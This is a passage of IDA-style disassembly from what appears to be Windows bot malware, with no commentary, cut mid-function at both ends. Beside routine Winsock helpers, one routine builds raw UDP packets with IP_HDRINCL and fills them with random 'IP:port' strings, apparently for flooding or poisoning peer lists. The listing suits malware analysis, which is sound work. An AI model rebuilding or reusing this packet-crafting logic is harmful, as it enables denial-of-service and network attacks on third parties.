		jmp	short locret_4050E8
; ---------------------------------------------------------------------------


loc_4050D2:				; CODE XREF: sub_404FE7+CEj
					; sub_404FE7+DBj
		push	[ebp+var_2C]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_4050DD:				; CODE XREF: sub_404FE7+85j
		push	[ebp+var_28]
		call	dword_41DE5C	; freeaddrinfo
		xor	eax, eax

locret_4050E8:				; CODE XREF: sub_404FE7+6Bj
					; sub_404FE7+E9j
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050EA	proc near		; CODE XREF: sub_401E38+80p
					; sub_402698+16p ...

var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 844h
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		mov	[ebp+var_834], eax
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		imul	edx, 3E8h
		mov	[ebp+var_830], edx
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_40513E
		mov	[ebp+var_20], 17h
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_40513E:				; CODE XREF: sub_4050EA+49j
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405151
		mov	[ebp+var_20], 2
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_405151:				; CODE XREF: sub_4050EA+5Cj
		and	[ebp+var_20], 0


loc_405155:				; CODE XREF: sub_4050EA+52j
					; sub_4050EA+65j
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_82C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jz	short loc_405188
		xor	eax, eax
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_405188:				; CODE XREF: sub_4050EA+95j
		mov	eax, [ebp+var_82C]
		mov	[ebp+var_4], eax
		jmp	short loc_40519C
; ---------------------------------------------------------------------------


loc_405193:				; CODE XREF: sub_4050EA+E3j
					; sub_4050EA+128j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40519C:				; CODE XREF: sub_4050EA+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40537D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_83C], eax
		cmp	[ebp+var_83C], 0FFFFFFFFh
		jnz	short loc_4051CF
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_4051CF:				; CODE XREF: sub_4050EA+E1j
		push	0
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_83C]
		call	dword_4171F4	; connect
		mov	[ebp+var_838], eax
		cmp	[ebp+var_838], 0
		jz	short loc_405217
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_405217
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_405217:				; CODE XREF: sub_4050EA+119j
					; sub_4050EA+126j
		and	[ebp+var_828], 0


loc_40521E:				; CODE XREF: sub_4050EA+1AFj
		and	[ebp+var_840], 0
		jmp	short loc_405234
; ---------------------------------------------------------------------------


loc_405227:				; CODE XREF: sub_4050EA:loc_405259j
		mov	eax, [ebp+var_840]
		inc	eax
		mov	[ebp+var_840], eax


loc_405234:				; CODE XREF: sub_4050EA+13Bj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnb	short loc_40525B
		mov	eax, [ebp+var_840]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405259
		jmp	short loc_40525B
; ---------------------------------------------------------------------------


loc_405259:				; CODE XREF: sub_4050EA+16Bj
		jmp	short loc_405227
; ---------------------------------------------------------------------------


loc_40525B:				; CODE XREF: sub_4050EA+156j
					; sub_4050EA+16Dj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnz	short loc_405295
		cmp	[ebp+var_828], 200h
		jnb	short loc_405295
		mov	eax, [ebp+var_840]
		mov	ecx, [ebp+var_83C]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_828]
		inc	eax
		mov	[ebp+var_828], eax


loc_405295:				; CODE XREF: sub_4050EA+17Dj
					; sub_4050EA+189j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40521E
		lea	eax, [ebp+var_834]
		push	eax
		push	0
		lea	eax, [ebp+var_828]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		cmp	eax, 1
		jnz	short loc_4052E0
		push	1
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	[ebp+var_82C]
		call	dword_41DE5C	; freeaddrinfo
		mov	eax, [ebp+var_83C]
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_4052E0:				; CODE XREF: sub_4050EA+1CEj
					; sub_4050EA+27Cj
		and	[ebp+var_844], 0
		jmp	short loc_4052F6
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: sub_4050EA:loc_405360j
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax


loc_4052F6:				; CODE XREF: sub_4050EA+1FDj
		mov	eax, [ebp+var_844]
		cmp	eax, [ebp+var_828]
		jnb	short loc_405362
		mov	eax, [ebp+var_844]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405360


loc_405319:				; CODE XREF: sub_4050EA+265j
		mov	eax, [ebp+var_828]
		dec	eax
		cmp	[ebp+var_844], eax
		jnb	short loc_405351
		mov	eax, [ebp+var_844]
		mov	ecx, [ebp+var_844]
		mov	ecx, [ebp+ecx*4+var_820]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax
		jmp	short loc_405319
; ---------------------------------------------------------------------------


loc_405351:				; CODE XREF: sub_4050EA+23Cj
		mov	eax, [ebp+var_828]
		dec	eax
		mov	[ebp+var_828], eax
		jmp	short loc_405362
; ---------------------------------------------------------------------------


loc_405360:				; CODE XREF: sub_4050EA+22Dj
		jmp	short loc_4052E9
; ---------------------------------------------------------------------------


loc_405362:				; CODE XREF: sub_4050EA+218j
					; sub_4050EA+274j
		xor	eax, eax
		test	eax, eax
		jnz	loc_4052E0
		push	[ebp+var_83C]
		call	sub_4053B1
		pop	ecx
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_40537D:				; CODE XREF: sub_4050EA+B6j
		push	[ebp+var_82C]
		call	dword_41DE5C	; freeaddrinfo
		xor	eax, eax

locret_40538B:				; CODE XREF: sub_4050EA+99j
					; sub_4050EA+1F1j
		leave
		retn
sub_4050EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538D	proc near		; CODE XREF: sub_401E38+26Ep
					; sub_4020C2+3FBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		pop	ebp
		retn
sub_40538D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053B1	proc near		; CODE XREF: sub_404279+77p
					; sub_40432E+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_417230	; closesocket
		pop	ebp
		retn
sub_4053B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: sub_401E38+15Cp
					; sub_4020C2+2F9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41720C	; send
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4053BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DC	proc near		; CODE XREF: sub_403DF3+D1p
					; sub_405443+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 2
		jnb	short loc_4053F6
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_4053F6:				; CODE XREF: sub_4053DC+8j
		push	0
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_405418
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40541D


loc_405418:				; CODE XREF: sub_4053DC+34j
		mov	eax, [ebp+var_4]
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_40541D:				; CODE XREF: sub_4053DC+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_405435
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_405435:				; CODE XREF: sub_4053DC+47j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]

locret_405441:				; CODE XREF: sub_4053DC+18j
					; sub_4053DC+3Fj ...
		leave
		retn
sub_4053DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405443	proc near		; CODE XREF: sub_402698+8Dp
					; sub_402698+2BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40545B
		xor	eax, eax
		jmp	short loc_40546C
; ---------------------------------------------------------------------------


loc_40545B:				; CODE XREF: sub_405443+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch


loc_40546C:				; CODE XREF: sub_405443+16j
		pop	ebp
		retn
sub_405443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40546E	proc near		; CODE XREF: sub_405443+9p
					; sub_410649+2Dp ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_416BC0
		and	[ebp+var_804], 0
		and	[ebp+var_1008],	0


loc_405489:				; CODE XREF: sub_40546E+90j
		and	[ebp+var_1014],	0
		jmp	short loc_40549F
; ---------------------------------------------------------------------------


loc_405492:				; CODE XREF: sub_40546E:loc_4054C1j
		mov	eax, [ebp+var_1014]
		inc	eax
		mov	[ebp+var_1014],	eax


loc_40549F:				; CODE XREF: sub_40546E+22j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnb	short loc_4054C3
		mov	eax, [ebp+var_1014]
		mov	eax, [ebp+eax*4+var_800]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4054C1
		jmp	short loc_4054C3
; ---------------------------------------------------------------------------


loc_4054C1:				; CODE XREF: sub_40546E+4Fj
		jmp	short loc_405492
; ---------------------------------------------------------------------------


loc_4054C3:				; CODE XREF: sub_40546E+3Dj
					; sub_40546E+51j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnz	short loc_4054FA
		cmp	[ebp+var_804], 200h
		jnb	short loc_4054FA
		mov	eax, [ebp+var_1014]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_800], ecx
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax


loc_4054FA:				; CODE XREF: sub_40546E+61j
					; sub_40546E+6Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405489


loc_405500:				; CODE XREF: sub_40546E+107j
		and	[ebp+var_1018],	0
		jmp	short loc_405516
; ---------------------------------------------------------------------------


loc_405509:				; CODE XREF: sub_40546E:loc_405538j
		mov	eax, [ebp+var_1018]
		inc	eax
		mov	[ebp+var_1018],	eax


loc_405516:				; CODE XREF: sub_40546E+99j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnb	short loc_40553A
		mov	eax, [ebp+var_1018]
		mov	eax, [ebp+eax*4+var_1004]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_405538
		jmp	short loc_40553A
; ---------------------------------------------------------------------------


loc_405538:				; CODE XREF: sub_40546E+C6j
		jmp	short loc_405509
; ---------------------------------------------------------------------------


loc_40553A:				; CODE XREF: sub_40546E+B4j
					; sub_40546E+C8j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnz	short loc_405571
		cmp	[ebp+var_1008],	200h
		jnb	short loc_405571
		mov	eax, [ebp+var_1018]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_1004], ecx
		mov	eax, [ebp+var_1008]
		inc	eax
		mov	[ebp+var_1008],	eax


loc_405571:				; CODE XREF: sub_40546E+D8j
					; sub_40546E+E4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405500
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_100C],	edx
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		lea	eax, [ebp+var_804]
		push	eax
		push	1
		call	dword_41722C	; select
		cmp	eax, 1
		jz	short loc_4055C9
		xor	eax, eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055C9:				; CODE XREF: sub_40546E+155j
		lea	eax, [ebp+var_804]
		push	eax
		push	[ebp+arg_0]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4055E1
		push	1
		pop	eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_40546E+16Cj
		xor	eax, eax

locret_4055E3:				; CODE XREF: sub_40546E+159j
					; sub_40546E+171j
		leave
		retn
sub_40546E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055E5	proc near		; DATA XREF: sub_405E45+113o

var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= dword	ptr -1344h
var_1340	= dword	ptr -1340h
var_133C	= dword	ptr -133Ch
var_1338	= dword	ptr -1338h
var_1334	= dword	ptr -1334h
var_118D	= byte ptr -118Dh
var_108D	= byte ptr -108Dh
var_1087	= dword	ptr -1087h
var_1083	= dword	ptr -1083h
var_107F	= dword	ptr -107Fh
var_1078	= dword	ptr -1078h
var_1074	= byte ptr -1074h
var_1058	= byte ptr -1058h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1358h
		call	sub_416BC0
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1334]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_1078],	eax
		cmp	[ebp+var_1078],	0FFFFFFFFh
		jnz	short loc_405643
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405643:				; CODE XREF: sub_4055E5+49j
		mov	[ebp+var_1340],	1
		push	4
		lea	eax, [ebp+var_1340]
		push	eax
		push	2
		push	0
		push	[ebp+var_1078]
		call	dword_417204	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40567E
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_40567E:				; CODE XREF: sub_4055E5+84j
		push	0
		push	[ebp+var_1078]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		lea	eax, [ebp+var_108D]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405710
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1344],	eax
		cmp	[ebp+var_1344],	0
		jnz	short loc_405700
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405700:				; CODE XREF: sub_4055E5+106j
		mov	eax, [ebp+var_1344]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax


loc_405710:				; CODE XREF: sub_4055E5+EAj
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405729
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405729:				; CODE XREF: sub_4055E5+12Fj
		push	1060h
		push	0
		lea	eax, [ebp+var_1074]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1074]
		mov	[ebp+var_133C],	eax
		lea	eax, [ebp+var_1058]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0F0h
		or	al, 5
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0Fh
		or	al, 40h
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	byte ptr [eax+9], 11h
		mov	eax, [ebp+var_133C]
		mov	ecx, [ebp+var_C]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_133C]
		mov	cx, [ebp+var_E]
		mov	[eax+16h], cx
		and	[ebp+var_1338],	0
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------


loc_4057A9:				; CODE XREF: sub_4055E5:loc_405E22j
		mov	eax, [ebp+var_1338]
		inc	eax
		mov	[ebp+var_1338],	eax


loc_4057B6:				; CODE XREF: sub_4055E5+1C2j
		mov	eax, [ebp+var_1338]
		cmp	eax, [ebp+var_1087]
		jge	loc_405E27
		mov	eax, [ebp+var_107F]
		mov	[ebp+var_1358],	eax
		cmp	[ebp+var_1358],	1
		jz	short loc_4057FC
		cmp	[ebp+var_1358],	2
		jz	loc_405924
		cmp	[ebp+var_1358],	3
		jz	loc_405A11
		jmp	loc_405C71
; ---------------------------------------------------------------------------


loc_4057FC:				; CODE XREF: sub_4055E5+1F6j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_40581E:				; CODE XREF: sub_4055E5+2BFj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4058A9
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_40581E
; ---------------------------------------------------------------------------


loc_4058A9:				; CODE XREF: sub_4055E5+247j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405924:				; CODE XREF: sub_4055E5+1FFj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405946:				; CODE XREF: sub_4055E5+3CBj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4059B2
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405946
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: sub_4055E5+36Fj
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405A11:				; CODE XREF: sub_4055E5+20Cj
		push	2
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_134C],	eax
		cmp	[ebp+var_134C],	0
		jnz	short loc_405A52
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405A52:				; CODE XREF: sub_4055E5+444j
		cmp	[ebp+var_134C],	1
		jnz	loc_405B87
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405A81:				; CODE XREF: sub_4055E5+522j
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405B0C
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405A81
; ---------------------------------------------------------------------------


loc_405B0C:				; CODE XREF: sub_4055E5+4AAj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405B87:				; CODE XREF: sub_4055E5+474j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405BA9:				; CODE XREF: sub_4055E5+62Ej
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405C15
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405BA9
; ---------------------------------------------------------------------------


loc_405C15:				; CODE XREF: sub_4055E5+5D2j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
